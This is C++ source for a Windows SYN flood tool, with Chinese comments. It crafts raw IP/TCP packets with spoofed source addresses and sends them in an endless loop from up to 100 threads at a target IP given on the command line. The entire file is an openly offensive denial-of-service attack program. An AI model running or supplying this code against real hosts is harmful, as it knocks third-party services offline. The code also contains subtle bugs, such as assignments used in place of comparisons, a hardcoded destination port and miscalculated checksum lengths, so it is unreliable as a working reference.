#include <iostream>
#include <winsock2.h>
#include <cstdio>
#include <windows.h>
#include <WS2tcpip.h>
#include "protoinfo.h"
#pragma comment (lib,"ws2_32.lib")
using namespace std;
int port;
char *DestIp;
int threadNum;
int maxThread;
#define SEQ 0x28376839
USHORT CheckSum(PUSHORT buf,int size)
{
ULONG sum=0;
while(size>1)
{
sum+=*buf;
buf++;
size-=2;
}
if(size)
sum+=*(char *)buf;
sum=(sum>>16)+(sum&0xffff);
sum+=sum>>16;
return (~sum);
}
void usage(char *name)
{
printf("目标ip为\n",name);
printf("输入格式为 ip 端口 攻击次数\n");
}
DWORD WINAPI SynFloodAttack(LPVOID lp)
{
int ret;
int sendSeq=0;
SOCKET sockRaw;
IPHeader ipHeader;
TCPHeader tcpHeader;
sockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,NULL,WSA_FLAG_OVERLAPPED);
if(sockRaw==INVALID_SOCKET)
{
return -1;
}
//设置属性让自己可以自行填充IP首部
int flag=1;
ret=setsockopt(sockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(flag));
if(ret=SOCKET_ERROR)
{
return -1;
}
//设置发送超时
int time=2000;
ret=setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char *)&time,sizeof(time));
if(ret==SOCKET_ERROR)
{
return -1;
}
//设置目的地址
sockaddr_in sockDest;
sockDest.sin_family=AF_INET;
sockDest.sin_addr.S_un.S_addr=inet_addr(DestIp);
int FakeIpNet,FakeIpHost;
FakeIpNet=inet_addr(DestIp);//目的地址转为主机序
FakeIpHost=ntohl(FakeIpNet);//主机序转为网络序,后面自增
//填充IP首部
ipHeader.iphVerLen=4<<4|(sizeof(IPHeader)/sizeof(ULONG));
ipHeader.ipLength=htons(sizeof(IPHeader)+sizeof(TCPHeader));
ipHeader.ipID=1;
ipHeader.ipFlags=0;
ipHeader.ipTTL=128;
ipHeader.ipProtocol=IPPROTO_TCP;
ipHeader.ipChecksum=0;
ipHeader.ipChecksum=0;
ipHeader.ipSource=htonl(FakeIpHost+sendSeq);
ipHeader.ipDestination=inet_addr(DestIp);
//填充TCP首部
tcpHeader.sourcePort=htons(port);
tcpHeader.destinationPort=htons(8080);
tcpHeader.sequenceNumber=htonl(SEQ);
tcpHeader.acknowledgeNumber=0;
tcpHeader.dataoffset=(sizeof(TCPHeader)/sizeof(ULONG))<<4|0;
tcpHeader.flags=2;
tcpHeader.windows=ntohs(16384);
tcpHeader.checksum=0;
tcpHeader.urgentPointer=0;
//填充TCP伪首部
TCPFakeHead tcpFakedHead;
tcpFakedHead.sourceIp=ipHeader.ipSource;
tcpFakedHead.destIp=ipHeader.ipDestination;
tcpFakedHead.filling=0;
tcpFakedHead.protocalType=IPPROTO_TCP;
tcpFakedHead.TCPLength=sizeof(TCPHeader);
//
char sendBuf[128];
int size;
while(1)
{
if(sendSeq=65535)
sendSeq=1;
else
sendSeq++;
ipHeader.ipChecksum=0;
ipHeader.ipSource=htonl(FakeIpHost+sendSeq);
tcpHeader.sequenceNumber=htonl(SEQ+sendSeq);
tcpHeader.sourcePort=htons(sendSeq);
tcpHeader.checksum=0;
tcpFakedHead.sourceIp=ipHeader.ipSource;
///将TCP伪首部 首部 复制到缓冲区并且算出校验和
memcpy(sendBuf,&tcpFakedHead,sizeof(TCPFakeHead));
memcpy(&sendBuf[sizeof(TCPFakeHead)],&tcpHeader,sizeof(TCPHeader));
tcpHeader.checksum=CheckSum((PUSHORT)sendBuf,sizeof(IPHeader)+sizeof(TCPHeader));
memcpy(sendBuf,&ipHeader,sizeof(IPHeader));
memcpy(&sendBuf[sizeof(IPHeader)],&tcpHeader,sizeof(TCPHeader));
memset(&sendBuf[sizeof(IPHeader)+sizeof(TCPHeader)],0,4);
size=sizeof(IPHeader)+sizeof(TCPHeader);
ipHeader.ipChecksum=CheckSum((PUSHORT)sendBuf,size);//这里比较奇怪,ip数据包头的校验和竟然校验了tcp头部分,而不是以前的只校验ip头
memcpy(sendBuf,&ipHeader,sizeof(IPHeader));
sendto(sockRaw,sendBuf,size,0,(sockaddr *)&sockDest,sizeof(sockaddr_in));
Sleep(10);
}
Sleep(20);
return 0;
}
int main(int argc,char *argv[])
{
if(argc!=4)
{
cout<<"参数太少"<<endl;
return -1;
}
usage(argv[1]);
int ret;
DestIp=argv[1];
port=atoi(argv[2]);
if(atoi(argv[3])>100)
{
maxThread=100;
}
else
{
maxThread=atoi(argv[3]);
}
WSADATA wsa;
if(WSAStartup(MAKEWORD(2,2),&wsa)==SOCKET_ERROR)
{
return -1;
}
threadNum=0;
while(threadNum<maxThread)
{
if(CreateThread(NULL,NULL,SynFloodAttack,NULL,0,0))
{
Sleep(10);
threadNum++;
}
}
WSACleanup();
return 0;
}